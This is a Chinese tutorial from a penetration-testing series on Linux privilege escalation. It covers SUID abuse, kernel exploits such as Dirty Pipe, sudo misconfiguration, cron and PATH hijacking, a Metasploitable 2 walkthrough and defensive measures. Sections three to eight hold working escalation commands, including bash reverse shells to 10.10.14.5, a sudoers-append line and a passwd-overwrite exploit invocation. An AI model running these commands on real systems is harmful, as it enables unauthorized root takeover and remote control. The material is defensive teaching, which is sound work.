news 2026/9/11 19:46:13

Linux提权全方案:SUID提权、内核提权、计划任务、环境变量提权

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Linux提权全方案:SUID提权、内核提权、计划任务、环境变量提权

04-Linux提权全方案:SUID提权、内核提权、计划任务、环境变量提权

开篇声明(必读):本系列文章仅为网络安全技术研究与教学目的撰写,所有命令与手法必须在你拥有合法授权的目标环境(如自己搭建的靶机、购买授权的渗透测试项目、CTF 竞赛环境)中执行。未经授权对任何系统进行的渗透测试均属违法行为,根据《中华人民共和国网络安全法》第二十七条、《刑法》第二百八十五条,最高可处七年以下有期徒刑并处罚金。请做一名有底线的白帽,技术本身没有善恶,用在哪里才是关键。


一、为什么拿到 webshell 还要提权?

先看一个让无数新手困惑的问题:明明已经拿到 shell 了,为什么还不满足?弹个根 shell 就完事了?

答案藏在权限模型里。我们通过 Web 漏洞拿到的 shell,绝大多数情况下是www-data(或 nginx、apache)这个低权限账户。它被刻意设计成"只能跑 Web 服务,别的什么都干不了"。这就好比你在办公楼里只有一张门禁卡,能进大厅,但财务室、机房、经理办公室全都进不去。

我们用一组命令看看差距在哪:

# 拿到 shell 后的第一件事:确认我是谁id# 输出示例:uid=33(www-data) gid=33(www-data) groups=33(www-data)whoami# 输出示例:www-data# 我能读 /etc/passwd 吗?cat/etc/passwd# 能读,因为 /etc/passwd 对所有用户可读# 我能读 root 的密码哈希吗?cat/etc/shadow# 报错:Permission denied —— 这就是权限墙

逐行解释:

  • id:查看当前用户的 UID、GID 和所属组。看到uid=33(www-data)就说明你是个 Web 服务账户,权限极其有限。
  • whoami:快捷输出当前用户名,后续写脚本判断身份时常用。
  • cat /etc/passwd/etc/passwd是系统用户数据库,文件权限是 644,所有人可读。你能看到系统里有哪些用户、哪些用户有/bin/bash登录 shell、哪些用户是/sbin/nologin。这是提权前的情报源。
  • cat /etc/shadow:这里才是密码哈希的真正存放地,权限 640,只有 root 和 shadow 组能读。www-data 读了就Permission denied

为什么提权是"薪资分水岭"?因为实战里很多资产的价值根本不在地面层:

  1. 数据权限:网站的数据库配置文件(config.php.env)可能只有 root 能读,而里面躺着生产库密码。
  2. 横向空间:root 能读/root/.ssh/,拿到密钥直接内网横着走;www-data 连目录都进不去。
  3. 持久化能力:只有 root 才能写crontab、写/etc/init.d、替换系统二进制,真正把"渗透"变成"接管"。

所以提权不是炫技,而是从"能打进去"到"打得穿"的关键一跃。这篇文章就把 Linux 提权的主流路线全部梳理一遍,每一条都配合命令、原理和靶场思路。


二、提权前信息收集:先看清自己站在哪

孙子兵法讲"知己知彼",提权也一样。不管用什么姿势提权,第一步永远是信息收集。Linux 提权的信息收集核心是回答三个问题:

  1. 我是谁?权限有多大?
  2. 系统是什么?内核多老?有没有已知漏洞?
  3. 系统里有什么可写的、可执行的、可被利用的东西?

下面这套命令清单是"提权前必做"的,建议直接复制到你的渗透笔记里:

# 1. 身份与权限信息idwhoamisudo-l# 当前用户能免密/免密码执行哪些 sudo 命令?sudo-l2>/dev/null# 去掉报错输出,只保留关键信息# 2. 系统与内核信息uname-a# 内核版本、主机名、架构cat/etc/os-release# 发行版名称与版本号cat/etc/issue# 发行版信息(老系统上更常见)# 3. 文件系统可写点find/-writable-typef2>/dev/null|grep-vproc|grep-vsysfind/-perm-4000-typef2>/dev/null# 查找 SUID 文件(提权重点)find/-perm-2000-typef2>/dev/null# 查找 SGID 文件# 4. 计划任务与启动项cat/etc/crontab# 系统级计划任务ls-la/etc/cron.d/ /etc/cron.*# cron 相关目录crontab-l# 当前用户的计划任务systemctl list-timers2>/dev/null|head-20# systemd 定时器# 5. 网络与进程ss-tlnp# 本机监听的端口(可能藏着内网服务)psaux# 正在运行的进程(可能跑着高权限服务)

逐行解释:

  • sudo -l:这一条是性价比最高的命令。如果配置了 NOPASSWD 或用户拥有某些命令的 sudo 权限,输出的内容直接告诉你能用 sudo 跑什么——很多提权路径就是从这一行开始的。后面会专门讲。
  • uname -a:输出内核版本。内核提权漏洞(比如 Dirty Pipe)都是精准对应内核版本的,uname -a的结果决定你该搜哪个 CVE。
  • find / -writable:找出当前用户可写的文件。如果某个 root 拥有的可写文件恰好是计划任务要执行的脚本,这就是经典的"计划任务劫持"。
  • find / -perm -4000:找出所有带 SUID 位的文件。SUID 文件以文件属主身份运行,如果属主是 root 而这个程序又能执行系统命令,那就是提权金矿。
  • ss -tlnp:查看监听端口。很多内网环境里,数据库、Redis、Kubernetes 的 API 服务都监听在 127.0.0.1 上,外网扫不到,但拿到 shell 后就能直接访问。

信息收集阶段记住一句话:宁可多花十分钟收集,不要凭感觉乱试。盲目尝试提权 exploit 可能直接把靶机打成宕机,这在授权的渗透测试里是大忌。


三、SUID 提权:最经典的 Linux 提权姿势

3.1 什么是 SUID?

Linux 文件的权限位有三组:属主、属组、其他用户。每个组里都有 r(读)、w(写)、x(执行)三个位。但你可能没注意过,x 位上还藏着一个特殊位:当属主的执行位是s而不是x时,这个文件就带上了 SUID(Set User ID)属性。

SUID 的作用是:任何用户执行这个文件时,进程的有效身份临时变成文件属主的身份。如果这个文件属主是 root,那就意味着——普通用户执行它,就跑在 root 权限上。

最典型的例子是passwd命令:

ls-l/usr/bin/passwd# 输出:-rwsr-xr-x 1 root root 68208 1月 1 2024 /usr/bin/passwd

注意属主权限位上的s。为什么passwd必须带 SUID?因为普通用户要改自己的密码,而密码存在/etc/shadow里,只有 root 能写。所以系统给passwd加上 SUID,让用户执行它时能临时以 root 身份修改 shadow 文件——但程序本身做了严格的校验,只允许你改自己的密码。

SUID 提权的本质就是:找到一个能以 root 身份运行、又允许执行系统命令或读写任意文件的 SUID 程序,然后借它的手办我们的事。passwd这种安全的程序我们碰不了,但总有一些程序"心太大"。

3.2 找 SUID 文件

# 找到系统里所有 SUID 文件find/-perm-4000-typef2>/dev/null# 更精确的写法:-4000 表示"只要设置了 SUID 位即可"(不必在意其他权限)# -perm -4000 的减号前缀表示"权限位至少包含这些位"

逐行解释:

  • find /:从根目录开始找。
  • -perm -4000:匹配权限中包含 SUID 位的文件。4000 是 SUID 的八进制表示。
  • -type f:只看普通文件,忽略目录(目录的 SUID 一般无意义)。
  • 2>/dev/null:把"权限不足"的报错扔掉,只看有效结果。

找到的列表里,有些是系统正常文件(passwdsudosu),这些没法直接用。你要盯的是非常规的、可执行命令的、或者带交互式 shell 的程序

3.3 借助 GTFOBins 判断能否提权

GTFOBins 是一个专门收集"能被利用执行非预期操作的 Unix 二进制"的网站(gtfobins.github.io),它是 SUID 提权的"菜谱大全"。套路是:找到 SUID 文件 → 去 GTFOBins 查该程序有没有 SUID 利用姿势 → 照猫画虎。

案例一:vim

如果靶机上vim带了 SUID,那么:

# 确认 vim 的 SUID 位ls-l/usr/bin/vim# 输出:-rwsr-xr-x 1 root root ... /usr/bin/vim# 利用:进入 vim 后执行 Python 弹 shellvim-c':py3 import os; os.setuid(0); os.execl("/bin/bash","bash")'# 或者更直白:vim 内部执行系统命令vim# 进入后输入:# :!/bin/bash

逐行解释:

  • -c:让 vim 启动时直接执行后面的命令。
  • :py3 import os; os.setuid(0):vim 的 Python 接口里,setuid(0)把进程的 UID 改成 0(root)。因为 vim 以 SUID 运行,此刻你已经是 root 身份。
  • os.execl("/bin/bash","bash"):用 bash 替换当前进程,你就获得了一个 root shell。
  • :!/bin/bash:vim 的!命令能执行外部 shell,但注意它不一定继承 SUID 身份,GTFOBins 上标准做法是通过-c配合解释器。

案例二:find

find-exec参数可以执行任意命令,而它自己如果带 SUID 位:

# 确认 SUIDls-l/usr/bin/find# 输出:-rwsr-xr-x 1 root root ... /usr/bin/find# 提权:find 执行 /bin/bash,-p 参数让 bash 不降权find/-exec/bin/sh-p\;-quit

逐行解释:

  • find /:随便指定一个起点,关键是触发-exec
  • -exec /bin/sh -p:对每个匹配项执行/bin/sh-p(privileged)参数让 sh保留 SUID 赋予的有效 UID。不加-p,bash/sh 会"自觉"把有效身份降回真实身份——这正是很多人复现失败的原因。
  • \;-exec命令的结束符。
  • -quit:匹配到第一个文件就退出,避免它反复执行。

案例三:bash 自身

如果/bin/bash直接带 SUID(很离谱,但靶场里常有):

# 直接运行 bash -p 即可获得 root shell/bin/bash-p# 提示符变化:# 号代表 rootid# uid=33(www-data) gid=33(www-data) euid=0(root) ← 有效 UID 是 root!

逐行解释:

  • /bin/bash -p-p参数让 bash 不重置有效 UID。普通 bash 在启动时如果检测到有效 UID 与真实 UID 不一致,会主动把 euid 降回 uid,这是保护机制;-p就是绕过这个保护。
  • 确认成功看euid=0(root),而不是简单的#提示符——#也可能被 PS1 伪装,看 id 输出才靠谱。

自查清单:拿到 SUID 文件列表后,逐个在 GTFOBins 上查:vim、find、bash、python、perl、env、nano、less、awk、cp 等,都是常见"出问题"的二进制。查不到就老老实实回归常规路径。


四、内核提权:最粗暴也最需要谨慎的路线

4.1 思路:版本 → 漏洞库 → 利用

内核提权的逻辑非常线性:

  1. uname -a拿到内核版本号。
  2. searchsploit(Kali 自带 Exploit-DB 本地索引)搜这个版本的已知漏洞。
  3. 找到对应 exploit,编译、上传、执行。

4.2 使用 searchsploit 检索漏洞

# 先看内核版本uname-a# 示例输出:Linux victim 5.13.0-37-generic #42~20.04.1-Ubuntu SMP x86_64# 用 searchsploit 搜索该内核版本附近的漏洞searchsploit linux kernel5.13# 输出里会列出匹配的 exploit 路径、CVE 编号和漏洞描述# 查看某个 exploit 的详细内容(文件路径在上一行输出里)searchsploit-p49902# 输出会给出该漏洞的完整信息、作者、PoC 下载地址

逐行解释:

  • searchsploit linux kernel 5.13:在 Exploit-DB 中搜索关键词。注意searchsploit是按描述匹配的,搜太精确容易漏,搜内核主版本号往往能覆盖到周边小版本的洞。
  • searchsploit -p <编号>:显示某个具体 exploit 的详细信息,-p是 path 的缩写。
  • 拿到 exploit 文件后,通常是 C 源码,需要靶机上有没有 gcc。没有 gcc 就在攻击机交叉编译后上传,或者找现成的二进制版本。

4.3 两个经典案例

Dirty Cow(脏牛,CVE-2016-5195)——Linux 提权史上的"传奇洞"。它利用的是内核内存管理里 copy-on-write 机制的一个竞态条件,任何 Linux 内核 2.6.22 到 4.8.3 之间的系统都可被本地提权。它火到什么程度?哪怕目标系统本身没什么提权面,只要内核版本在这个区间,脏牛一跑就 root。原理简述:

  • fork()出的子进程与父进程共享内存页,当一方要写入时触发 COW(写时复制),复制出独立页面再写。
  • Dirty Cow 的利用手法是:用mmap以只读方式映射一个 root 文件(比如/etc/passwd),然后疯狂触发 COW 的竞态,让内核在复制页面时产生一瞬的写入窗口,趁机往文件里写数据。
  • 实战用法:把/etc/passwd里的 root 用户密码哈希替换成自己生成的密码,然后su root直接用。

Dirty Pipe(脏管道,CVE-2022-0847)——2022 年的"新脏牛"。影响 Linux 5.8 到 5.16.11 之间的版本,利用的是 Linux 管道(pipe)缓冲区的PIPE_BUF_FLAG_CAN_MERGE标志位漏洞,可以直接覆盖只读文件的内容,比脏牛更稳定、更快。常见用法同样是改/etc/passwd给自己开个 root 账户。

# Dirty Pipe 利用的典型流程(拿到 exploit 源码后)gcc-odirtypipe dirtypipe.c ./dirtypipe /etc/passwd1root:$1$xxx:0:0:root:/root:/bin/bash# 参数含义:目标文件、覆盖的偏移、写入的新 root 账户行suroot# 输入你设定的密码,成功拿到 root

逐行解释:

  • gcc -o dirtypipe dirtypipe.c:编译 PoC。
  • 第二行把/etc/passwd的偏移 1 处开始覆盖成root:<哈希>:0:0:...,把 root 的密码哈希换掉,同时保证 UID 是 0。
  • su root:用新密码登录。注意:改了 passwd 后记得把文件还原,这是授权渗透里"可回退"原则的体现,否则会把靶机搞坏。

4.4 内核提权的注意事项

内核提权虽爽,但坑很多:

  1. 稳定性:很多内核 exploit 会触发内核崩溃(kernel panic),导致靶机直接重启。重启 = 丢失 session = 可能惊动蓝队。在授权测试中,优先级永远排在 SUID、sudo、cron 这些"软提权"之后
  2. 编译环境:靶机可能没有 gcc。先which gcc确认,没有就换静态编译版本或别的路径。
  3. 架构匹配uname -m确认是 x86_64 还是 aarch64,32 位 exploit 在 64 位系统上直接挂。
  4. 版本匹配:一个洞的利用代码经常只对特定版本区间有效,别拿到 PoC 就无脑跑。

一句话:内核提权是"底牌",不是"首牌"。先用软的,实在不行再动内核。


五、sudo 配置错误提权:一行命令的改变

5.1 原理:NOPASSWD 与可滥用命令

很多管理员为了方便,会在/etc/sudoers里给普通用户授权某些命令,甚至干脆免密码(NOPASSWD)。本意是"让你能用 systemctl 重启服务",但如果授权的命令本身可以被用来执行任意命令,那这个授权就约等于给了 root。

典型的"危险命令"包括:vimfindvimorelessmanawkpythonperlteecp等。这些命令都能通过参数执行系统命令或写文件。

5.2 实操演示

# 第一步:看自己能用 sudo 跑什么sudo-l# 假设输出:# User www-data may run the following commands on victim:# (root) NOPASSWD: /usr/bin/find# 第二步:利用 find 的 -exec 参数直接执行命令sudo/usr/bin/find /-exec/bin/sh-p\;-quit# 成功的话,直接获得 root shellid# uid=33(www-data) gid=33(www-data) euid=0(root)

逐行解释:

  • sudo -l:列出当前用户被授权的 sudo 命令。(root) NOPASSWD: /usr/bin/find的意思是:你可以以 root 身份运行/usr/bin/find,且不用输密码
  • sudo /usr/bin/find / -exec /bin/sh -p:通过 sudo 以 root 身份运行 find,find 又用 root 身份执行了/bin/sh -p-p让 sh 保持 root 的有效身份。
  • 整个过程没有弹任何漏洞,纯粹是配置不当。这类问题在真实内网环境里出现频率远比想象的高。

如果sudo -l里出现的是vim,那就更简单:

# 以 root 身份进入 vimsudovim# 在 vim 里执行:# :!/bin/bash

tee也很有意思,它不能执行命令,但可以以 root 身份写任意文件——比如往/etc/sudoers里追加一行让自己获得 NOPASSWD 的完全权限:

# 假设 sudo -l 显示你能以 root 运行 teeecho'www-data ALL=(ALL) NOPASSWD: ALL'|sudo/usr/bin/tee-a/etc/sudoers# 然后sudosu# 直接变 root

逐行解释:

  • echo '...':把要给 sudoers 追加的规则输出。
  • sudo /usr/bin/tee -a /etc/sudoerstee -a以追加模式写文件,-a是 append。因为是通过 sudo 以 root 身份跑的,所以能写只有 root 能写的 sudoers。
  • 写完后sudo su:现在你拥有全部 sudo 权限,su直接切 root。

防御视角:这类问题完全是管理员的锅。原则就一条——sudoers 里永远不要给"能执行任意命令的命令"。判断标准很简单:给的这个命令,能不能通过参数去跑别的命令?能,就一律不给。


六、计划任务(cron)提权:等一等的艺术

6.1 原理

管理员常常写计划任务让系统定时干某些活,比如清理日志、备份数据、同步文件。这些 cron 任务以 root 身份执行。如果出现下面两种情况,就有了提权窗口:

  1. 任务执行的脚本文件,www-data 可以写(权限配置不当)。
  2. 任务执行的是一个不带绝对路径的命令,而 PATH 里存在可写目录——这就是 PATH 劫持的变体。

第二种单独放一节讲,这里先看第一种。

6.2 实操演示

# 第一步:看系统计划任务cat/etc/crontab# 假设输出里有这样一行:# */5 * * * * root /opt/scripts/backup.sh# 意思是:每 5 分钟,root 执行一次 /opt/scripts/backup.sh# 第二步:检查这个脚本是否可写ls-la/opt/scripts/backup.sh# 输出:-rwxrwxrwx 1 root root ... ← 权限是 777,谁都能写!# 第三步:往脚本里追加反弹 shellecho'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'>>/opt/scripts/backup.sh# 第四步:攻击机开启监听,最多等 5 分钟nc-lvnp4444# 任务一触发,root 身份的反弹 shell 就回来了

逐行解释:

  • cat /etc/crontab:系统级 cron 配置。格式是分 时 日 月 周 用户 命令,重点看用户这一列是不是 root。
  • ls -la /opt/scripts/backup.sh:确认脚本权限。777 说明任何人可写,这种配置在"图省事"的运维手里并不罕见。
  • 追加反弹 shell 用>>(追加)而不是>(覆盖),避免破坏原有脚本逻辑,降低被发现概率。
  • 反弹命令在前一篇文章里拆解过:bash -i开交互 shell,>&把标准输出和标准错误都重定向,/dev/tcp/10.10.14.5/4444是 bash 的内置 TCP 连接语法,0>&1把标准输入也接进来,形成一个双向通道。
  • nc -lvnp 4444-l监听、-v详细输出、-n不解析域名、-p指定端口。
  • cron 的执行周期决定了你要等多久——这也是为什么叫"等一等的艺术"。

6.3 别忘了看这些地方

# 除了 /etc/crontab,还有这些 cron 相关位置ls-la/etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/cat/etc/cron.d/*crontab-l# 当前用户的任务(很多时候没权限看 root 的)systemctl list-timers2>/dev/null# systemd 定时器,现代系统的主力

老版本的 cron(/etc/cron.d)和 systemd timer 可能同时存在,提权前全部过一遍。找到 root 执行的、且文件可写的任务,就是一条现成的提权路径。


七、PATH 劫持提权:环境变量的杀伤力

7.1 原理

PATH 环境变量告诉系统"去哪些目录找命令"。当你执行ls时,系统按 PATH 里的顺序逐个目录查找ls这个可执行文件,找到了就用。

PATH 劫持提权利用的是:计划任务(或高权限脚本)执行的命令没写绝对路径,而 PATH 里的某个目录又是当前用户可以写的。只要在那个目录里放一个同名程序,root 执行任务时就会"中招"。

7.2 实操演示

# 第一步:看 root 跑的任务(这次命令没写绝对路径)cat/etc/crontab# 假设输出:# */5 * * * * root /opt/scripts/check.shcat/opt/scripts/check.sh# 内容:uptime && df -h ← 用的是 uptime 和 df,没有绝对路径# 第二步:看当前用户的 PATH 和可写目录echo$PATH# 输出:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin# 第三步:在可写目录放一个假的 uptimeecho'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'>/tmp/uptimechmod+x /tmp/uptime# 但注意:/tmp 不一定在 PATH 里,需要看完整 PATH 里有没有可写目录# 假设这里 /usr/local/bin 是 www-data 可写的(测试环境常见):echo'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'>/usr/local/bin/uptimechmod+x /usr/local/bin/uptime# 第四步:等任务触发,或者想办法立即触发nc-lvnp4444

逐行解释:

  • 关键点:check.sh里调用uptime没写/usr/bin/uptime。root 执行脚本时,shell 会按 PATH 搜索uptime
  • 如果 PATH 的搜索顺序里有一个可写目录排在系统目录前面,或者干脆 PATH 里包含/usr/local/bin且该目录可写,root 就会优先执行我们伪造的uptime
  • 伪造的文件里放反弹 shell,root 一执行,反弹回来的就是 root shell。
  • chmod +x必须加,否则"Permission denied"。

实战提醒:PATH 劫持的难点在于找到"root 会执行的不带路径命令"和"PATH 中的可写目录"同时存在。真实环境里这种组合出现的频率不高,但一旦出现,威力很大。排查思路:翻遍所有 root 的计划任务和启动脚本,凡是裸命令(不带/)都要怀疑;同时find / -writable -type d找可写目录,对比 PATH 求交集。


八、Metasploitable 靶场演示:把理论串一遍

光说不练假把式。这一节用 Metasploitable 2(一个刻意留满漏洞的靶机,虚拟机镜像免费下载)走一遍"拿到低权限 shell → SUID 提权"的完整流程,建议你开两台机器实操。

环境准备

  • 攻击机:Kali(IP 假定 192.168.1.10)
  • 靶机:Metasploitable 2(IP 假定 192.168.1.20)

第一步:打进一个低权限 shell

Metasploitable 2 身上漏洞很多,我们挑最省事的——用 Metasploit 打它的 UnrealIRCd 后门(端口 6667),这是一个经典的命令执行漏洞:

# 攻击机:启动 msfconsolemsfconsole msf6>use exploit/unix/irc/unreal_ircd_3281_backdoor msf6>setRHOSTS192.168.1.20 msf6>setLHOST192.168.1.10 msf6>setPAYLOAD cmd/unix/bind_perl msf6>run# 成功的话,进入 Meterpreter 会话# 或者直接拿一个普通 shellmeterpreter>shell# 进入系统 shellid# 输出:uid=1001(daemon) gid=1001(daemon) ← 低权限账户

逐行解释:

  • use exploit/...:加载 UnrealIRCd 后门利用模块。这是官方 3.2.8.1 版本里被植入的恶意后门,是当年震惊圈子的"供应链投毒"案例。
  • set RHOSTS:靶机 IP;set LHOST:回连地址。
  • set PAYLOAD cmd/unix/bind_perl:用 bind 型 payload(靶机开端口等你连)。bind 比 reverse 在这个场景下更稳,因为不需要靶机能连回攻击机。
  • run:执行利用。拿到的是daemon账户,同样是个低权限账户。

第二步:SUID 信息收集

# 查看系统里的 SUID 文件find/-perm-4000-typef2>/dev/null

在 Metasploitable 2 的输出里,你会看到一个"不该出现"的名字:

-rwsr-xr-x 1 root root ... /usr/bin/find

find居然带 SUID 位!这是 Metasploitable 2 刻意留的"彩蛋"。于是前面 3.3 节的姿势直接套用:

# 利用 find 的 SUID 提权find/-exec/bin/sh-p\;-quitid# uid=1001(daemon) gid=1001(daemon) euid=0(root) ← 提权成功!

逐行解释:

  • find /:触发匹配,让-exec生效。
  • -exec /bin/sh -p:以 root 的有效身份执行 sh。-p保留 SUID 身份的关键参数。
  • -quit:匹配第一个就退出,避免刷屏。
  • id输出里euid=0(root)就代表当前 shell 的有效身份是 root,提权完成。此时你可以cat /etc/shadow、读/root/下的任何东西。

第三步:验证 root 权限

cat/etc/shadow|head-3# 能看到 root 的密码哈希,说明真的 root 了whoami# 输出:root

这就是一条完整的"Web 漏洞拿 shell → SUID 提权拿 root"链路。Metasploitable 2 上还有弱口令、vsftpd 后门、Samba 漏洞等十几条路径可以到 root,适合反复练习。


九、提权失败怎么办?——排查思路汇总

实战里一次提权成功是少数,多数时候要试好几条路。给你一张"提权排查优先级"清单,按顺序走:

  1. 看配置sudo -l有没有危险命令?有没有 SUID 的非常规二进制?(优先,零风险)
  2. 看任务:cron、systemd timer、启动脚本,有没有 root 执行且可写的?(低风险)
  3. 看密码复用:网站配置文件里有没有数据库密码?数据库里有没有用户密码?内网服务弱口令?root 可能也在用同一个密码。(重点!)
  4. 看内核版本uname -a搜 searchsploit,评估内核提权风险。(高风险,最后用)
  5. 看敏感文件/etc/shadow可读(少见)、.bash_history里有没有密码、/root/.ssh/权限配置错误、数据库日志。
  6. 看网络:本机有没有监听的内网服务?Redis、Docker、K8s 没配认证的,常有意外收获。

实战提权是"信息收集 + 耐心"的活,很多人栽在"试一次失败就换洞"上,而不是"把系统翻个底朝天"。把目标机器当成一部要读完的书,而不是一个要炸开的保险箱。


十、检测与防御视角:蓝队怎么守住这些路

既然攻方有这么多姿势,蓝队的防线就该围绕这些姿势逐一设卡。防御不是堵一个洞,而是把每条路的入口都看好

10.1 SUID 位管理

  • 基线 + 审计:维护一份"允许的 SUID 文件清单",用find / -perm -4000定期比对,新出现的 SUID 文件立刻告警。
  • 清理原则:能不用 SUID 就不用。比如很多程序可以通过 capability(setcap cap_setuid+ep)或 systemd 的AmbientCapabilities实现同样功能,颗粒度更细。
  • 监控:关注passwd/usr/bin/find等二进制权限位的变更(文件完整性监控工具如 AIDE、Tripwire 可以覆盖)。

10.2 内核与补丁

  • 漏洞管理:内核版本必须纳入补丁管理流程。Dirty Pipe(2022 年 2 月公开)发布一周内打补丁的系统和三个月后打补丁的系统,被提权的概率天差地别。
  • 最小化内核面:不需要的内核模块、内核特性(如user namespaces,如果业务用不到可以关闭,它能显著降低本地提权类漏洞的利用面)。
  • 更新策略:重要服务器优先打安全补丁,测试环境先行验证。

10.3 sudo 最小权限

  • sudoers 审计:定期审查/etc/sudoers/etc/sudoers.d/,原则是"凡能用 -exec、!、python -c 之类参数执行命令的命令,一律不授"。
  • NOPASSWD 慎用:免密授权是便利,也是风险。非必要不开 NOPASSWD,开了也要限定在无副作用的命令上。
  • 双因子:sudo 可以接 pam_duo / pam_google_authenticator,高危环境建议开启。

10.4 计划任务与文件权限

  • 计划任务审计/etc/crontab/etc/cron.*systemd list-timers全量审计,确认每个 root 任务的脚本属主是 root 且权限不超过 750。
  • 脚本内使用绝对路径:所有脚本内部调用命令一律写绝对路径(/usr/bin/uptime而不是uptime),从根上断掉 PATH 劫持。
  • 文件权限巡检:定期扫描 777 权限文件,尤其关注可写目录下的 root 脚本。
  • 监控:cron 目录的变更、计划任务脚本内容的变更都应纳入文件完整性监控范围。

10.5 运行时检测

  • 日志:sudo 默认记录在/var/log/auth.log(debian 系)或/var/log/secure(redhat 系)。重点看异常的 sudo 使用、异常时间点、异常用户。
  • 进程监控:EDR 对"低权限进程执行sh -p/bash -p"、"sudo 执行 find/vim/python 等命令"这类行为要能告警。
  • 内核审计:启用auditd对 SUID 执行、/etc/passwd/etc/sudoers的写操作进行审计。Dirty Cow 这类利用会大量触发 COW,异常的内存写入行为在高级检测平台上也有特征。

蓝队一句话总结:权限管理 + 补丁管理 + 文件完整性监控,这三板斧到位,Linux 提权的绝大多数路径就都被堵上了。剩下的极少数 0day,交给 EDR 和应急响应兜底。


十一、写在最后

这一篇把 Linux 提权的五条主线讲透了:SUID 提权靠的是找错配的二进制 + GTFOBins 的菜谱;内核提权靠的是版本匹配 + searchsploit,但只作为压箱底的手段;sudo 配置错误是运气与细心并存的路径;计划任务与 PATH 劫持考验的是对系统细节的耐心。

最后再强调一遍:本文所有内容请只用在授权测试与自己的靶场上。Metasploitable 2、Vulnhub、HackTheBox、TryHackMe 都有大量合法靶机可以练手,练熟每一条路径,比背一百个 exploit 都有价值。

提权考验的不是"会不会用工具",而是对系统本身的熟悉程度——你越懂 Linux 怎么工作,越知道哪里会出纰漏。把 Metasploitable 2 上的每条提权路径都亲手跑一遍,你会对"权限"这两个字有完全不同的理解。

本文为系列第4篇。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/11 19:43:58

MATLAB时间序列噪声处理与平滑算法实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/11 19:43:23

Vue3+Vite+Pinia+ElementUI企业级后台开发实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/11 19:42:39

TransUnet详解:DRIVE视网膜血管分割中的小目标连续性建模

简介&#xff1a;本资源是一套基于TransUnet架构实现眼底图像血管分割的完整实战项目&#xff0c;面向医学图像处理初学者与深度学习实践者&#xff0c;解决DRIVE数据集上二分类&#xff08;背景/前景&#xff09;的精准分割问题。压缩包共76个文件&#xff0c;包含18个核心Pyt…

作者头像 李华
网站建设 2026/9/11 19:42:11

MicroPython中ADC-DMA乒乓缓冲实战:解放CPU实现高实时采样

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/11 19:38:14

企业移动考勤系统定位技术解析与优化实践

1. 项目概述&#xff1a;企业移动考勤系统的定位原理与需求分析企业移动考勤系统作为现代人力资源管理的重要工具&#xff0c;其定位功能直接关系到考勤数据的真实性和可靠性。这类系统通常采用多重定位技术组合&#xff0c;包括GPS卫星定位、基站定位、Wi-Fi定位以及蓝牙信标定…

作者头像 李华
网站建设 2026/9/11 19:35:01

用 GHelper 单个 exe 管理华硕笔记本的风扇与显卡

用 GHelper 单个 exe 管理华硕笔记本的风扇与显卡 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops with nearly the same functionality. Works with ROG Zephyrus, Flow, TUF, Strix, Scar, ProArt, Vivobook, Zenbook, Expertbook, ROG A…

作者头像 李华